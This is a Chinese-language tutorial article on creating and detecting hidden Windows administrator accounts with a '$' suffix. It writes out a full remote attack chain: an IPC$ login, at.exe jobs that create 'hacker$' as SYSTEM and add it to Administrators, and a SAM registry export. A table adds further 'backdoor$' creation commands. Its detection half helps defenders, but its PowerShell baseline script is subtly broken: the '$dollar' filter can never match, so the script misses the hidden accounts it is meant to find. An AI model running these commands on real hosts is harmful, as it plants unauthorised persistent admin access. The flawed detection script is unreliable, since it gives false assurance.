Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

隱藏超級使用者帳號技術深度剖析:從命令列到登錄表的實戰手法

編輯:Windows XP 系統介紹

前言:技術中立性聲明

本文分析 隱藏超級使用者 (Hidden Administrator Account) 建立與偵測技術,旨在協助藍隊/系統管理員理解攻擊者持久化手法,部署有效偵測與緩解。嚴禁用於未授權系統存取。所有技術細節基於公開文獻與 Windows 內建機制。

核心機制:$ 尾碼帳號在 Net API 與 GUI 的顯示差異

  • net user / net localgroup Administrators:不顯示 以 $ 結尾的帳號
  • lusrmgr.msc (本機使用者和群組) / compmgmt.msc:可見 該帳號
  • wmic useraccount get name / Get-LocalUser (PowerShell):可見
  • 登錄表 HKLM\SAM\SAM\Domains\Account\Users:完整記錄 所有帳號 (含 $ 尾碼),需 SYSTEM 權限讀取

攻擊鏈重現:命令列遠端建立隱藏管理員 (模擬環境)

前置條件

  • 目標主機啟用 Task Scheduler 服務 (Schedule) (預設啟動)
  • 攻擊者擁有 有效管理員憑證 (IPC$ 連線)
  • 目標開放 445 (SMB)、135 (RPC)、49152-65535 (動態 RPC)

步驟 1:建立 IPC$ 會話


net use \\192.168.1.100\ipc$ "Password123" /user:"Administrator"

步驟 2:利用 at.exe 排程任務以 SYSTEM 權限建立帳號


REM at 要求目標系統時間,攻擊者需先查詢
net time \\192.168.1.100

REM 建立隱藏帳號 hacker$ (密碼 P@ssw0rd)
at \\192.168.1.100 14:30 cmd /c "net user hacker$ P@ssw0rd /add"

REM 加入 Administrators 群組
at \\192.168.1.100 14:31 cmd /c "net localgroup Administrators hacker$ /add"

關鍵點: at 排程任務在 LocalSystem 權限下執行,繞過 UAC、不需 psexec、runas。

步驟 3:登錄表操作進一步隱藏 (可選,防藍隊枚舉)


REM 匯出 SAM 目標鍵值供離線分析/備份
at \\192.168.1.100 14:32 cmd /c "regedit /e C:\Windows\Temp\sam_backup.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"

攻擊者可離線分析 SAM 結構,或修改 UserFlags 位元進一步操控帳號屬性 (如 ACCOUNTDISABLE、PASSWD_NOTREQD)。

藍隊偵測與緩解策略

1. 帳號枚舉基線化 (每日/每小時)


REM PowerShell 基線腳本
$baseline = @("Administrator","Guest","DefaultAccount","WDAGUtilityAccount")
$current = Get-LocalUser | Where-Object {$_.Enabled -eq $true} | Select-Object -ExpandProperty Name
$hidden = $current | Where-Object { $_ -notin $baseline -and $_ -notlike "*$" }  # 非標準、非 $ 尾碼
$dollar = $current | Where-Object { $_ -like "*$" -and $_ -notlike "*$*" }       # $ 尾碼但非電腦帳號
if ($hidden -or $dollar) { Send-Alert "異常本地帳號: $($hidden + $dollar -join ', ')" }

2. 登錄表 SAM 監控 (Sysmon Event ID 12/13/14)

  • Sysmon 設定監控 HKLM\SAM\SAM\Domains\Account\Users\* 的 CreateKey、SetValue、DeleteKey
  • 任何非預期寫入 (非系統更新、非授權管理工具) 即時告警

3. at.exe / 排程任務異常監控

  • Sysmon Event ID 1 (Process Create) 捕捉 at.exe、schtasks.exe 執行 net user、net localgroup
  • GPO 禁用 at.exe (「禁止使用 AT 排程工作」) → 強制使用 schtasks 並受完整稽核

4. IPC$ / SMB 會話審計

  • 啟用「稽核原則 → 物件存取 → 審核網路共用物件存取」
  • Event ID 5140 (網路共用存取) 記錄 ShareName: \IPC$、來源 IP、帳號
  • 異常 IP/帳號/時間存取 IPC$ 即時告警

5. 受保護的使用者群組 / Credential Guard

  • 將所有管理員帳號加入 Protected Users 群組:強制 Kerberos AES、禁用 NTLM、緩存、委派、換行
  • 啟用 Credential Guard (VBS):LSASS 秘密隔離於 VTL-1,即使拿到 SYSTEM 權限也無法輕易提取/注入

6. 本地管理員密碼方案 (LAPS)

  • 部署 Microsoft LAPS:每台電腦本地 Administrator 密碼唯一、定期輪換、儲於 AD 機密屬性
  • 攻擊者無法以單一密碼橫向移動建立隱藏帳號

進階變體:net user /add /expires、WMIC、PowerShell、DSC

方法指令範例特點偵測難度
net usernet user backdoor$ P@ss /add /expires:12/31/2025簡單、相容性佳低 (Sysmon 易捕捉)
WMICwmic /node:TARGET useraccount create name="backdoor$", password="P@ss"遠端、WMI 傳輸中 (WMI 稽核可捕捉)
PowerShellNew-LocalUser -Name "backdoor$" -Password (ConvertTo-SecureString "P@ss" -AsPlainText -Force) -Description "SV"物件導向、可管線中 (Script Block Logging 捕捉)
DSCUser Backdoor { UserName='backdoor$'; Password=...; Ensure='Present' }基礎設施即代碼、持久化高 (需 DSC 引擎稽核)

結語:可見性是防禦的起點

隱藏超級使用者技術利用 net user 顯示邏輯與 at SYSTEM 權限排程的「盲區」。藍隊破解的關鍵在於:多源枚舉基線化 (net user + wmic + PowerShell + 登錄表 SAM) → 關鍵寫入點稽核 (SAM、排程任務、IPC$) → 身分驗證強化 (Protected Users、Credential Guard、LAPS)。不要只相信 net user 顯示的列表;真實的帳號地圖,藏在 HKLM\SAM、Event Log、Sysmon 裡。

Copyright © Windows教程網 All Rights Reserved